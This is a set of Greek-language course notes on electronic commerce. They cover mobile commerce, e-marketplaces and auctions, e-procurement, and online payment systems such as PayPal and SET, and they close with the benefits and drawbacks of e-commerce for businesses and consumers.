Η ευρεία διαθεσιμότητα των συσκευών Η μη αναγκαιότητα υπολογιστή Η νέα κουλτούρα μικρών αλλά με πολλές δυνατότητες συσκευών Η προώθηση εκ μέρους των προμηθευτών Η Βελτίωση της ευρυζωνικότητας Mobile commerce (m-commerce, m-business): Όλα τα e-commerce γίνονται σε ένα ασύρματο περιβάλλον, ιδίως μέσω του Internet • Μια φυσική προέκταση του Ηλεκτρονικού Επιχειρείν • Κινητές συσκευές δημιουργούν μια ευκαιρία για να προσφέρουν νέες υπηρεσίες στους υπάρχοντες πελάτες 1G: Η πρώτη γενιά ασύρματης τεχνολογίας, βασισμένη σε αναλογικά συστήματα 2G: Η 2η γενιά της ψηφιακής ασύρματης τεχνολογίας, περιελάμβανε μόνον κείμενο 2.5G: Ενδιάμεση ασύρματη τεχνολογία που περιελάμβανε περιορισμένα γραφικά 3G: Η 2η γενιά της ψηφιακής ασύρματης τεχνολογίας; Υποστήριζε μέσα όπως video clips 4G: Η επόμενη γενιά της ασύρματης τεχνολογίας (in 2011), περιελάμβανε τα Personal digital assistant η PDA: Ένα μικρό φορητό ασύρματο computer Short Message Service (SMS): Η τεχνολογία που επιτρέπει την αποστολή σύντομων γραπτών μηνυμάτων σε ορισμένα κινητά τηλέφωνα Enhanced Messaging Service (EMS): Η επέκταση των SMS ικανή για simple animation, μικροσκοπικές φωτογραφίες, μουσική και short tunes Multimedia Messaging Service (MMS): Η γενιά ασύρματων μηνυμάτων είναι σε θέση να προσφέρει πλούσια μέσα ενημέρωσης

Smartphone: Internet-enabled κινητά τηλέφωνα που μπορούν να υποστηρίξουν mobile εφαρμογές • Μια εφαρμογή ή μια βάση δεδομένων με τη λογική της εφαρμογής και της επιχειρησιακής βάσης δεδομένων που παρέχει λειτουργικότητα για το ηλεκτρονικό εμπόριο είναι απαραίτητη επίσης • • Ενα GPS που χρησιμοποιείται για να καθορίσει τη θέση του ατόμου που μεταφέρει την mobile computing device

SIM-based authentication συνήθως εφαρμόζεται ως έξυπνη κάρτα που περιέχει ένα βασικό έλεγχο ταυτότητας, μαζί με άλλες σημαντικές πληροφορίες για το συνδρομητή ακόμη Ο αριθμός PIN προστατεύει το κινητό τηλέφωνο από την περίπτωση παράνομης χρήσης του όταν αυτό έχει χαθεί ή κλαπεί Mobile banking: • Ένα μεγάλο ποσοστό των τραπεζών προσφέρει κινητή πρόσβαση σε οικονομικά θέματα και σε πληροφορίες λογαριασμών • Η αφομοίωση της mobile banking έχει επιτευχθεί ελάχιστα • Έρευνες δείχνουν ότι υπάρχει ισχυρή ζήτηση Στόχος η διαφήμιση: Γνωρίζοντας την τρέχουσα θέση του κινητού χρήστη (με χρήση GPS) και τις προτιμήσεις τους ή surfing συνήθειες, ο χρήστης μπορεί να στείλει ειδικά διαφημιστικά μηνύματα Οι διαφημίσεις μπορούν επίσης να είναι location sensitive, για την ενημέρωση του χρήστη σχετικά με διάφορες τρέχουσες ειδικές πωλήσεις σε καταστήματα, εμπορικά κέντρα και εστιατόρια Σύντομα μηνύματα SMS ή τηλεειδοποίησης : τα μηνύματα μπορούν να χρησιμοποιηθούν για την παροχή αυτών των διαφημίσεων για κινητά τηλέφωνα και συσκευές, αντίστοιχα Handset, είναι κινητά τηλέφωνα που επιτρέπουν στους χρήστες να στέλνουν εικόνες από μία συσκευή σε άλλη Δεδομένου ότι τα 3G handsets έπληξαν την αγορά, οι κινητές συσκευές άρχισαν να υποστηρίζουν τη λήψη και σε πραγματικό χρόνο της αναπαραγωγής του ήχου και βίντεο κλπ

Wireless telemedicine Η αποθήκευση και η μεταφορά των ψηφιακών εικόνων από μία θέση σε άλλη Η τηλεδιάσκεψη χρησιμοποιείται σε πραγματικό χρόνο για διαβουλεύσεις με ένα ασθενή σε μια θέση και από μια ειδικότητα σε άλλη Ηλεκτρονικές Αγορές Υιοθετείται από : μια επιχείρηση-ενδιάμεσο που εμπλέκεται μεταξύ αγοραστών και πωλητών προκειμένου να δημιουργήσει μια ηλεκτρονική αγορά (π.χ. Yassas.com). Επιτρέπεται συνήθως η είσοδος συγκεκριμένων αγοραστών και προμηθευτών .Το επιχειρηματικό μοντέλο ανήκει στις εφαρμογές ηλεκτρονικού εμπορίου Β2Β • Δημιουργία ηλεκτρονικών καταλόγων με τα προϊόντα των προμηθευτών • Τήρηση αρχείου πελατών • Εξελιγμένος μηχανισμός αναζήτησης ώστε οι αγοραστές να βρίσκουν με ευκολία τα προϊόντα που τους ενδιαφέρουν • Ολοκλήρωση της διαδικασίας της παραγγελίας και των πληρωμών • Παροχή μηχανισμών ασφάλειας για την αυθεντικοποίηση του χρήστη και την ασφαλή μετάδοση των δεδομένων στο Internet Γιατί Ηλεκτρονικές Αγορές: • Ενώνουν την προσφορά με τη ζήτηση • Υπηρεσίες προστιθέμενης αξίας (financial, logistics) • Υπηρεσίες Πληροφοριών (news) • Βελτιστοποίηση της Εφοδιαστικής Αλυσίδας • Αποτελούν πλέον σχετικά ώριμα Επιχειρηματικά Μοντέλα στην Ελλάδα • Η αγορά τους τείνει να ισορροπήσει διεθνώς...

• Καταλύτες της ψηφιακής οικονομίας (μικρές επενδύσεις για ΜΜΕ) • Απαραίτητη η τόνωση σε κλαδικό επίπεδο (κάθετα e-marketplaces) Οφέλη που προκύπτουν από τα marketplaces Για Logistics : Έλεγχος αποθεμάτων Αξιολόγηση προμηθευτών Έλεγχος πορείας παραγγελιών Υπηρεσίες Καταλόγου Συνολικές Απαιτήσεις Αναμενόμενα Οφέλη για ΜΜΕ ΓΙΑ ΑΓΟΡΑΣΤΕΣ: •

Μείωση κόστους προμηθειών

•

Μείωση λειτουργικού κόστους εφοδιαστικής αλυσίδας

•

Διαφανοποίηση των αγορών

•

Εργαλεία αξιολόγησης προμηθευτών

•

Νέες εμπορικές συνεργασίες

•

Ευκαιρία για Οργάνωση διαδικασιών

Τα Προϊόντα ενός Ηλεκτρονικού Εμπορικού Κέντορυ είναι: •

Hosting (Φιλοξενία μεμονωμένων ιστοσελίδων)

•

Merchant (Φιλοξενία ιστοσελίδων των Commerce Service Providers – CSPs)

•

E-pages – Πακέτο λογισμικού για την υλοποίηση των ιστοσελίδων των Hosting και Merchant

•

Λογισμικό υλοποίησης όλων των παραπάνω

•

E-Procurement (Ηλεκτρονικές Προμήθειες)

•

Μεγάλες εταιρίες ή δημόσιοι οργανισμοί υλοποιούν εφαρμογές ηλεκτρονικών προμηθειών στο διαδίκτυο

•

Επιτυγχάνεται η αυτοματοποίηση της διαδικασίας των προμηθειών

E-PROCUREMENT (ΗΛΕΚΤΡΟΝΙΚΕΣ ΠΡΟΜΗΘΕΙΕΣ) Οι λειτουργίες αυτού του επιχειρηματικού μοντέλου είναι : •

Παρουσίαση καταλόγων προϊόντων

•

Διαχείριση Παραγγελιών

•

Διαχείριση Πληρωμών

•

Μηχανισμός Αξιολόγησης Προσφορών

ΤΡΕΙΣ ΚΥΡΙΕΣ ΛΕΙΤΟΥΡΓΙΕΣ ΤΩΝ ΗΛΕΚΤΡΟΝΙΚΩΝ ΑΓΟΡΩΝ (E-marketplaces) Συσχέτιση Αγοραστών και πωλητών

Διευκολύνεται η ανταλλαγή των πληροφοριών, των αγαθών, των υπηρεσιών, και των πληρωμών που συνδέονται με τις συναλλαγές αγοράς Παρέχεται μια θεσμική υποδομή, όπως ένα νομικό και ρυθμιστικό πλαίσιο, το οποίο επιτρέπει την αποδοτική λειτουργία της αγοράς E-marketplaces Marketplace Μια αγορά (marketplace) στην οποία οι πωλητές και οι αγοραστές ανταλλάσσουν τα αγαθά και τις υπηρεσίες για τα χρήματα (ή για άλλα αγαθά και υπηρεσίες) Front end: Η μερίδα των επιχειρησιακών διαδικασιών ενός e-πωλητή μέσω της οποίας οι πελάτες αλληλεπιδρούν, συμπεριλαμβανομένων των portals των πωλητών, τους ηλεκτρονικούς καταλόγους των πωλητών, της μηχανής αναζήτησης (search engine), και της πύλης πληρωμής (payment gateway) Back end: Οι δραστηριότητες που υποστηρίζονται on-line περιλαμβάνουν την εκπλήρωση, διαχείριση καταλόγων,

αγοράζοντας από τους προμηθευτές, επεξεργασία πληρωμής,

συσκευασία, και παράδοση Intermediary : Ένας τρίτος (third party) που λειτουργεί μεταξύ πωλητών και αγοραστών Ηλεκτρονικό storefront Ενιαίος ιστοχώρος επιχείρησης όπου τα προϊόντα και οι υπηρεσίες είναι μηχανισμοί απαραίτητοι για τη διεύθυνση της πώλησης: •

electronic catalogs

•

search engine

•

e-auction facilities

•

payment gateway

•

customer services

Οι εμπλεκόμενες οντότητες σε ένα σύστημα ηλεκτρονικών δημοπρασιών είναι: •

Ο «πλειστηριαστής»: καθορίζει τους όρους με βάση τους οποίους θα πραγματοποιηθεί η δημοπρασία

•

Ο «προμηθευτής»: προσφέρει τα προϊόντα του προς πώληση

•

Ο «πελάτης»: προσφέρει τιμή για τα προϊόντα που επιθυμεί να αγοράσει

Μεσίτες Πληροφορίας με ασφαλή και γρήγορο τρόπο Λειτουργίες: •

Εντοπισμός Πληροφορίας

•

Συγκέντρωση Πληροφορίας

•

Αποθήκευση Πληροφορίας

•

Λειτουργία ως TTP

BROKERS Οι μεσάζοντες (μεσίτες) παρέχουν υπηρεσίες στους αγοραστές και τους πωλητές Οι μεσάζοντες είναι πωλητές λιανικής και χονδρικής πώλησης Infomediaries: Ηλεκτρονικοί μεσάζοντες που ελέγχουν τη ροή πληροφοριών στο web, συγκεντρώνοντας πληροφορίες και πουλώντας τες σε τρίτους Κοινοπραξία: Η πώληση του ίδιου αγαθού (π.χ. ψηφιακό περιεχόμενο) σε πολλούς πελάτες, οι οποίοι την ενσωματώνουν έπειτα σε άλλες προσφορές και την μεταπωλούν ή την δίνουν μακριά δωρεάν (for free) Ηλεκτρονικοί Κατάλογοι Electronic catalogs: Η παρουσίαση των προϊόντων σε μια ηλεκτρονική μορφή e- selling sites Χαρακτηριστικά των Ηλεκτρονικών Καταλόγων: •

Δυναμική Παρουσίαση της Πληροφορίας

•

Βαθμός της Δημιουργίας

•

Ενσωμάτωση με την επιχειρηματική διαδικασία

Πλεονεκτήματα-Μειονεκτήματα ηλεκτρονικών καταλόγων

Προσαρμοσμένοι Κατάλογοι Ένας κατάλογος που συγκεντρώνει συγκεκριμένα στοιχεία για μια επιχείρηση

Δύο προσεγγίσεις για τους customized catalogs:Οι πελάτες μπορούν να προσδιορίσουν τα ενδιαφέροντα μέρη από το συνολικό κατάλογο. Το σύστημα μπορεί να προσδιορίσει αυτόματα τα χαρακτηριστικά των πελατών βασισμένα στα αρχεία συναλλαγής τους. Δυναμική Τιμολόγηση (Dynamic pricing): Τιμές που αλλάζουν με βάση τις σχέσεις προσφοράς και ζήτησης, δυναμικά Τέσσερις σημαντικές κατηγορίες δυναμικής τιμολόγησης: Παρακαλώ Επιλέξτε ενα Tab: • Ένας αγοραστής, ένας πωλητής • Ένας πωλητής, πολλοί πιθανοί αγοραστές • Ένας αγοραστής, πολλοί πιθανοί πωλητές • Πολλοί πωλητές, πολλοί αγοραστές One seller - many buyers Forward auction : Μια δημοπρασία στην οποία ένας πωλητής χειρίζεται τις προσφορές από τους αγοραστές Forward δημοπρασίες που χρησιμοποιούνται για τη γρήγορη εκκαθάριση και ως κανάλι πώλησης. Η τιμή αυξάνεται και ο υψηλότερος πλειοδότης κερδίζει

One buyer - many potential suppliers Reverse auction (bidding or tendering system) Η δημοπρασία στην οποία ο αγοραστής τοποθετεί ένα στοιχείο για την προσφορά με ένα αίτημα για το σύστημα (RFQ) αποσπάσματος, πιθανοί προμηθευτές που προσφέρονται στην εργασία, με την τιμή που μειώνουν διαδοχικά, και τη χαμηλότερη προσφορά κερδίζει πρώτιστα ο B2B, πολλοί πιθανοί πωλητές (special model) One buyer - many potential suppliers “name-your-own-price” model: Γίνεται δημοπρασία το πρότυπο στο οποίο ένας δυνάμει αγοραστής διευκρινίζει με ποια τιμή (και άλλους όρους) είναι πρόθυμοι να πληρώσουν σε οποιοδήποτε πωλητή Many sellers - many buyers Double auction: Δημοπρασίες στις οποίες οι πολλοί αγοραστές και οι τιμές προσφοράς τους αντιστοιχούνται στους πολλούς πωλητές και τις ζητούμενες τιμές τους, εξετάζοντας τις ποσότητες και στις δύο πλευρές Παράδειγμα ανάστροφης διαδικασίας δημοπρασίας:

Πλεονεκτήματα δημοπρασιών για τους πωλητές, τους αγοραστες΄και τους ηλεκτρονικώς δημοπρατούντες:

Negotiating Online •

Διαπραγματευόμενη τιμολόγηση που χρησιμοποιείται για τα ακριβά ή εξειδικευμένα προϊόντα

•

Οι διαπραγματευόμενες τιμές είναι δημοφιλείς όταν αγοράζονται μεγάλες ποσότητες

•

Αποτέλεσμα από τις αλληλεπιδράσεις και η διαπραγμάτευση μεταξύ των πωλητών και των αγοραστών

•

Τα ψηφιακά προϊόντα και οι υπηρεσίες μπορούν να προσωποποιηθούν και «να συσσωρευτούν» σε μια συζητημένη τυποποιημένη τιμή

Η Ηλεκτρονική πληρωμή μερικά χρόνια πριν γινόταν με : • •

Cybercash

•

Cybercoin

•

ECash

•

First Virtual

•

Millicent

•

Mondex

Και ακόμη με : •

NetBill

•

Netcash

•

Netcheque

•

SET

•

Traditional Payment Methods (Credit cards, Cash on Delivery, etc.)

Σήμερα ισχύουν τα παρακάτω συστήματα on line πληρωμών : Digital cash : συστήματα που παράγουν προσωπικές φόρμες πληρωμής Online stored value systems : συστήματα που στηρίζονται σε προπληρωμές, κάρτες, checking accounts Digital accumulating balance payment systems : Περιοδικός τρόπος πληρωμής Digital credit accounts : Επέκταση του online credit card system Digital checking : δημιουργούν digital checks για εμβάσματα και επεκτείνεται η λειτουργικότητα των τραπεζικών checking systems Εδώ παρουσιάζεται μια κατηγοριοποίηση των τρόπων πληρωμής Software-based prepaid payment services Pay safe card (μία pre-paid κάρτα που σου επιτρέπει on-line συναλλαγές και να δημιουργείς πληρωμές μέσα στο λογαριασμό σου) Mobile Payments Paybox (πληρωμές μέσω κινητού, Sybase mCommerce 365 is an end-to-end mobile commerce) Mobipay (πληρωμές μέσω κινητού, is Namibia’s first mobile payment solution, licensed and authorised by Bank of Namibia) eMail Payments Paypal (http://www.paypal.com/) - δημιουργείς account στο Internet και κάνεις ασφαλείς χρηματικές συναλλαγές

PAYPAL Έγινε γνωστό στα τέλη του 1999 Πάνω από 50 εκ. μέλη υπάρχουν σήμερα Ευρέως αποδεκτή λύση που διαφημίζεται από websites με πρώτη προτίμηση μέσω της e-bay PAYPAL :Πως λειτουργεί: Γίνεται εγγραφή μέσω φόρμας στο Internet και δίνονται και τα στοιχεία της κάρτας ή λογαριασμός τραπέζης του αγοραστή Υπάρχει ενδιάμεσος που είναι υπεύθυνος για τα στοιχεία των συναλλασσόμενων (έμπιστοςPaypal) τα οποία τα κρατάει και ενημερώνει με e-mail τον προμηθευτή ότι τα χρήματα είναι διαθέσιμα και όταν χρειαστεί να γίνει πληρωμή αν εκείνος που πληρώνεται δεν έχει account στην PayPal θα πρέπει να δημιουργήσει για την πληρωμή του Απαιτήσεις Συστημάτων Πληρωμής : •

Εγγύηση Πληρωμών

•

Τεχνικές Απαιτήσεις

•

Η σχέση με τον πελάτη

•

Μεγάλη Εξάπλωση

SET:

Βασικοί δημιουργοί της ήταν η visa, η master card, Netscape και Microsoft

Μεγάλη απήχηση τον πρώτο κυρίως καιρό στο χώρο του Internet για τις πληρωμές στο Ηλεκτρονικό Εμπόριο Εμπλέκονται προμηθευτές – αγοραστές – τράπεζες Πως λειτουργεί το SET : 1. Ο πελάτης στέλνει τη φόρμα παραγγελίας με το υπογεγραμμένο πιστοποιητικό στον προμηθευτή. Ο προμηθευτής δεν μπορεί να ανοίξει την credit card γιατί είναι κρυπτογραφημένη με το public key της τράπεζας 2. Ο προμηθευτής το στέλνει στην Αρχή Πιστοποίησης και ελέγχεται το πιστοποιητικό 3. Η Τράπεζα ελέγχει αν η κάρτα είναι αυθεντική 4. Υπογράφεται η Κάρτα αφού είναι εντάξει 5. Η τράπεζα υπογράφει τη συναλλαγή 6. Ο πελάτης λαμβάνει το προϊόν και την απόδειξη 7. Στο τέλος της ημέρας ο Προμηθευτής ζητάει από την τράπεζα να κρατήσει τις συναλλαγές της ημέρας 8. Ο προμηθευτής πληρώνεται σύμφωνα με το συμβόλαιο Παράδειγμα λειτουργίας SET: Γενικό Μοντέλο Πληρωμών :

Εφαρμογές Ηλεκτρονικού Εμπορίου ΙΒΜ Registry (IBM) Λογισμικό πακέτο που χρησιμοποιεί το πρωτόκολλο SET: •

εισάγονται τα στοιχεία πιστωτικής κάρτας και στέλνονται στην επιχείρηση με την

ψηφιακή υπογραφή του πελάτη •

η επιχείρηση με τη δική της υπογραφή το στέλνει στην τράπεζα

•

η τράπεζα επικοινωνεί με τον οργανισμό της κάρτας και ολοκληρώνεται η συναλλαγή

To Λογισμικό πακέτο προσφέρει: •

λειτουργικότητα για B2B

•

Δυναμική Page caching

•

με την παροχή του API προσφέρει έλεγχο και ενημέρωση εγγράφων, υπολογισμό

τιμών, φόρων και φόρων εξαγωγής •

Συνεργασία του Net.Commerce server της IBM με το ΟΒΙ (Open Buying on the

Internet): ελεύθερο πρότυπο για τις εταιρείες και τους οργανισμούς στο εμπόριο στο Internet : εύκολη λύση για πολλούς οργανισμούς που θέλουν να επικοινωνούν με ασφάλεια με τους προμηθευτές τους Internet Commerce Server” (Oracle) • •

Περιλαμβάνει τον Store Manager που έχει εύκολες HTML μορφές οθονών και

παρέχει έτσι ιδεατά καταστήματα στο Internet •

Προσφέρει ένα σύνολο μεθόδων ασφαλείας:

•

SSL

•

SET

•

Βασική και προχωρημένη Πιστοποίηση

Το ΗΕ άπτεται πολλών επιστημονικών πεδίων Το Μάρκετινγκ. Πολλά από τα θέματα του παραδοσιακού μάρκετινγκ είναι συναφή με το online ΗΕ, για παράδειγμα, οι στρατηγικές διαφήμισης και η μείωση που προκύπτει στο κόστος μέσω των διαφημίσεων. Κάποια άλλα θέματα ανήκουν στην αποκλειστικότητα του ΗΕ, όπως πχ οι στρατηγικές του online μάρκετινγκ καθώς και τα «περίπτερα αμφίδρομης επικοινωνίας» (interactive kiosks). Η Επιστήμη της Πληροφορικής- Computer Science. Η συμπεριφορά των καταναλωτών και η ψυχολογία. Η συμπεριφορά των καταναλωτών είναι το κλειδί για την επιτυχία του Β2C εμπορίου, στον ίδιο βαθμό βέβαια που είναι και η συμπεριφορά των πωλητών. Η σχέση μεταξύ της κουλτούρας των ατόμων και της στάσης

τους απέναντι στην ηλεκτρονική αγορά αποτελεί ένα από τα θέματα έρευνας σε αυτό το πεδίο. Η Δημόσια Οικονομία. Οι οικονομικές αγορές και οι τράπεζες αποτελούν τους βασικούς παίκτες στο ΗΕ. Επίσης, οι οικονομικές συναλλαγές αποτελούν αναπόσπαστο τμήμα των online συναλλαγών. Θέματα όπως η χρήση του διαδικτύου ως υποκατάστατου ενός χρηματιστηρίου μετοχών και η απάτη στις online συναλλαγές μετοχών είναι ένα από τα πολλά παραδείγματα που χαρακτηρίζουν αυτόν τον τομέα. Η Οικονομική Επιστήμη. Το ΗΕ δέχεται επιδράσεις από τις διάφορες οικονομικές δυνάμεις και έχει αναμφισβήτητα μεγάλο αντίκτυπο στις παγκόσμιες και εθνικές οικονομίες. Ακόμα, θεωρίες της Μικροοικονομικής θα πρέπει να ληφθούν υπόψιν στο σχεδιασμό του ΗΕ, καθώς και ο οικονομικός αντίκτυπος του ΗΕ στις επιχειρήσεις. Πληροφοριακά Συστήματα Διοίκησης. Συνήθως η ανάπτυξη του ΗΕ σε μία επιχείρηση ανατίθεται στους υπεύθυνους του Τμήματος Πληροφορικής. Στη δικαιοδοσία του ανήκουν θέματα όπως η ανάλυση συστημάτων, η ολοκλήρωση συστημάτων καθώς και ο σχεδιασμός, ηεφαρμογή, η ασφάλεια, τα συστήματα πληρωμών. Λογιστική και Ελεγκτική.Πολλοί από τους κανόνες και τις αρχές της παραδοσιακής λογιστικής βρίσκονται πίσω από τις ηλεκτρονικές συναλλαγές, άλλες όχι. Διοικητική Επιστήμη.Η διαχείριση των ενεργειών που αφορούν το ηλεκτρονικό εμπόριο, απαιτεί εξειδικευμένες γνώσεις και μεγάλη προσοχή. Η πολυμορφικότητα που χαρακτηρίζει το ΗΕ, επιβάλλει την ανάπτυξη νέων θεωριών και προσεγγίσεων. Επιχειρησιακή Νομοθεσία και Θέματα Ηθικής. Νομικά ζητήματα και θέματα Ηθικής δεοντολογίας είναι ιδιαίτερα σημαντικά στο ΗΕ, ιδιαίτερα στα πλαίσια του παγκόσμιου Επιχειρείν. Ένας μεγάλος αριθμός σχεδίων νόμου βρίσκεται σε εκκρεμότητα και πολλά θέματα ηθικής δεοντολογίας βρίσκονται σε άμεση εξάρτηση με νομικά ζητήματα, όπως είναι η ιδιωτικότητα και η πνευματική ιδιοκτησία. Άλλα. Είναι εκπληκτική η συνάφεια του ΗΕ με άλλα επιστημονικά πεδία που συναντώνται στις διάφορες εκφάνσεις του ΗΕ σε μικρότερο όμως βαθμό, για παράδειγμα η Γλωσσολογία, η Ρομποτική, τα Συστήματα Αισθητήρων (Sensory systems), η Επιχειρησιακή Έρευνα, η Διοικητική Επιστήμη, η Στατιστική, η Δημόσια Διοίκηση κλπ. Εφαρμογές του ΗΕ συναντώνται ακόμα στη Μηχανική, στον τομέα της υγείας, στις επικοινωνίες και στον κλάδο της ψυχαγωγίας.

Οι αυξημένες δυνατότητες του ΗΕ φαίνονται σε τομείς όπως : •

Μεγαλύτερο Πελατολόγιο

•

Ευκολία και Διαθεσιμότητα

•

Βελτιωμένη εξυπηρέτηση πελατών

•

Διαφήμιση Προϊόντων / υπηρεσιών

Μείωση κόστους λόγω: •

ηλεκτρονικής διαχείρισης αποθεμάτων

•

ηλεκτρονικών συναλλαγών

•

ηλεκτρονικής επικοινωνίας

Εξάπλωση της Αγοράς σε εθνικό και παγκόσμιο επίπεδο. Μείωση του κόστους δημιουργίας, επεξεργασίας, αποθήκευσης, διανομής και ανάκτησης έντυπων πληροφοριών. Διατήρηση χαμηλών αποθεμάτων και γενικών βιομηχανικών εξόδων με την εισαγωγή της διοίκησης εφοδιαστικής αλυσίδας τύπου pull (Just In Time). Η εφαρμογή του pull system επιτρέπει την παραγωγή εξατομικευμένων προϊόντων και υπηρεσιών Μείωση του χρόνου τοποθέτησης ενός προϊόντος στην αγορά και του χρόνου δέσμευσης κεφαλαίων. Το ηλεκτρονικό εμπόριο λειτουργεί υποστηρικτικά στις προσπάθειες ανασχηματισμού των επιχειρησιακών διαδικασιών (Business Process Re- engineering BPR). Μείωση του κόστους τηλεπικοινωνιών. Άλλα πλεονεκτήματα είναι : η βελτίωση της δημόσιας εικόνας μίας επιχείρησης, η βελτίωση του επιπέδου εξυπηρέτησης των πελατών, νέες συνεργασίες,απλοποίηση διαδικασιών, συμπίεση του χρόνου, αύξηση της παραγωγικότητας, μείωση της χρήσης χαρτιού, αμεσότητα στην πληροφόρηση, μείωση των μεταφορικών δαπανών, αύξηση της ευελιξίας Το Ηλεκτρονικό Εμπόριο δίνει τη δυνατότητα στον καταναλωτή να διενεργεί αγορές και άλλες συναλλαγές σε εικοσιτετράωρη βάση, όπου κι αν βρίσκεται. Προσφέρει τη δυνατότητα επιλογής από περισσότερους προμηθευτές και για περισσότερα προϊόντα. Προσφέρει τη δυνατότητα εύρεσης χαμηλών τιμών στα προϊόντα και στις υπηρεσίες καθώς επιτρέπει τη γρήγορη σύγκριση τιμών. Σε κάποιες περιπτώσεις, ιδιαίτερα στα ψηφιακά προϊόντα, επιτρέπει την άμεση παράδοσή τους. Επιτρέπει την γρήγορη και άμεση λήψη πληροφοριών μέσα σε δευτερόλεπτα.

Επιτρέπει τη συμμετοχή σε ηλεκτρονικές δημοπρασίες (virtual auctions). Επιτρέπει την επαφή με άλλους καταναλωτές μέσα από τις λεγόμενες ηλεκτρονικές κοινότητες (electronic communities), με σκοπό την ανταλλαγή ιδεών και εμπειριών. Διευκολύνει τον ανταγωνισμό, με αποτέλεσμα τη σημαντική μείωση των τιμών. Το ηλεκτρονικό εμπόριο επιτρέπει σε όλο και περισσότερα άτομα να εργάζονται στο σπίτι και να κυκλοφορούν λιγότερο για ψώνια, περιορίζοντας έτσι την κίνηση στους δρόμους και τη μείωση της ατμοσφαιρικής ρύπανσης. Επιτρέπει την πώληση αγαθών σε μειωμένες τιμές και έτσι συντελεί στη βελτίωση του επιπέδου διαβίωσης λιγότερο ευνοημένων κοινωνικών ομάδων. Δίνει τη δυνατότητα σε κατοίκους του Τρίτου Κόσμου και αγροτικών περιοχών να απολαμβάνουν προϊόντα και υπηρεσίες που αλλιώς δεν θα τους ήταν προσιτά. Παράδειγμα, η δυνατότητα επαγγελματικής κατάρτισης και η απόκτηση διπλωμάτων Πανεπιστημίων. Διευκολύνει την παροχή δημοσίων υπηρεσιών στους πολίτες, όπως ιατρική περίθαλψη, εκπαίδευση κλπ. Ως μειονεκτήματα του ΗΕ θα μπορούσαμε να αναφέρουμε την: - έλλειψη ασφάλειας των συστημάτων, αξιοπιστίας, προτύπων και διάφορα προβλήματα με τα πρωτόκολλα επικοινωνίας. -Δεν υπάρχει πάντα επαρκές εύρος ζώνης τηλεπικοινωνίας (bandwidth). -Τα εργαλεία ανάπτυξης λογισμικού βρίσκονται ακόμα σε στάδιο εξέλιξης και μεταβάλλονται με ταχείς ρυθμούς. Δεν είναι πάντα εφικτή και εύκολη η ολοκλήρωση του λογισμικού του διαδικτύου με τις ήδη υπάρχουσες εφαρμογές και βάσεις δεδομένων. Οι πωλητές ενδέχεται να χρειάζονται εξειδικευμένους εξυπηρετητές διαδικτύου και άλλες υποδομές εκτός από τους εξυπηρετητές των δικτύων Ασφάλεια των Συναλλαγών και εξασφάλιση της ιδιωτικότητας. Οι καταναλωτές δίνουν μεγάλη βαρύτητα σε τέτοια θέματα, παρόλο που τόσο τα συστήματα ασφαλείας όσο και τα μέτρα για την προστασία της ιδιωτικότητας των καταναλωτών, συνεχώς βελτιώνονται. Η μεγαλύτερη πρόκληση του ηλεκτρονικού εμπορίου είναι ακριβώς να μπορέσει να πείσει για την ασφάλεια των online συναλλαγών. Έλλειψη εμπιστοσύνης και αντίσταση των χρηστών. Οι καταναλωτές δύσκολα εμπιστεύονται έναν απρόσωπο πωλητή και ακόμα λιγότερο τις συναλλαγές χωρίς έγγραφα και το ηλεκτρονικό χρήμα. Αδυναμία άμεσης επαφής με το προϊόν.

Πολλά θέματα νομικής φύσεως παραμένουν προς επίλυση και οι κυβερνητικές ρυθμίσεις και τα πρότυπα δεν έχουν ακόμα μελετηθεί σε βαθμό ώστε να καλύπτουν όλες τις περιπτώσεις. Το ηλεκτρονικό εμπόριο είναι ένας τομέας σε εξέλιξη, μεταβάλλεται ραγδαία. Πολλοί άνθρωποι περιμένουν να σταθεροποιηθεί σε κάποιο σημείο πριν αποφασίσουν να εισέλθουν σε αυτόν τον χώρο. Ανεπάρκεια πολλών υποστηρικτικών υπηρεσιών, όπως κέντρα κατοχύρωσης των πνευματικών δικαιωμάτων, εξειδικευμένοι εφοριακοί για το ηλεκτρονικό εμπόριο κλπ. Έλλειψη «κρίσιμης μάζας χρηστών». Στις περισσότερες εφαρμογές δεν υπάρχουν ακόμα αρκετοί αγοραστές και πωλητές για επικερδείς επιχειρηματικές δραστηριότητες ηλεκτρονικού εμπορίου. Υπάρχει ο φόβος ότι το ΗΕ μπορεί να καταλήξει σε αποδυνάμωση των ανθρώπινων σχέσεων. Η πρόσβαση στο διαδίκτυο είναι ακόμα ακριβή ή και πολύπλοκη για κάποιους δυνητικούς καταναλωτές: Κόστος για προώθηση της ιστοσελίδας Κόστος αποδοχής πληρωμών Απουσία προσωπικής επαφής Απουσία φυσικής επαφής του πελάτη με το προϊόν Τα στοιχεία αυτά δεν πρέπει να αποτελούν αποτρεπτικό παράγοντα αλλά πρόκληση αφού επισκιάζονται από τα θετικά που προσφέρει το ηλεκτρονικό εμπόριο Οι κύριες επιχειρηματικές πιέσεις και ο ρόλος του ΗΕ: Το σημερινό επιχειρησιακό περιβάλλον: Τα συστήματα στρατηγικής, προσφέρουν στις επιχειρήσεις στρατηγικά πλεονεκτήματα, δίνοντάς τους τη δυνατότητα να αυξήσουν το μερίδιο αγοράς, να διεξάγουν καλύτερες διαπραγματεύσεις με τους προμηθευτές τους, ή να αναχαιτίσουν την είσοδο των ανταγωνιστών τους στο δικό τους πεδίο δράσης Προσπάθειες Συνεχούς βελτίωσης Πολλές επιχειρήσεις εφαρμόζουν σε συνεχή βάση, προγράμματα με στόχο τη βελτίωση της παραγωγικότητας και της ποιότητάς τους. Τέτοιου είδους προγράμματα εφαρμόζονται στη: Βελτίωση της παραγωγικότητας, Εφαρμογή Just- in- time στην παραγωγή και στη διαχείριση αποθεμάτων, Διοίκηση Ολικής Ποιότητας-TQM, Βελτίωση στην διαδικασία λήψης αποφάσεων, Διαχείριση της πληροφορίας και της γνώσης, Καινοτομίες και δημιουργικότητα, Διοίκηση Αλλαγών, Εξυπηρέτηση Πελατών Ανασχεδιασμός των Επιχειρησιακών Διαδικασιών

Ο ανασχεδιασμός των επιχειρησιακών διαδικασιών αναφέρεται σε μία αλλαγή μεγάλης κλίμακας στη δομή της επιχείρησης, αλλά και γενικότερα στον τρόπο λειτουργίας της. Ο ανασχεδιασμός αυτός μπορεί να μεταβάλλει μία εταιρία σε πολλές διαστάσεις, όπως πχ. σε επίπεδο τεχνολογίας, σε επίπεδο ανθρώπινου δυναμικού και σε θέματα οργάνωσης

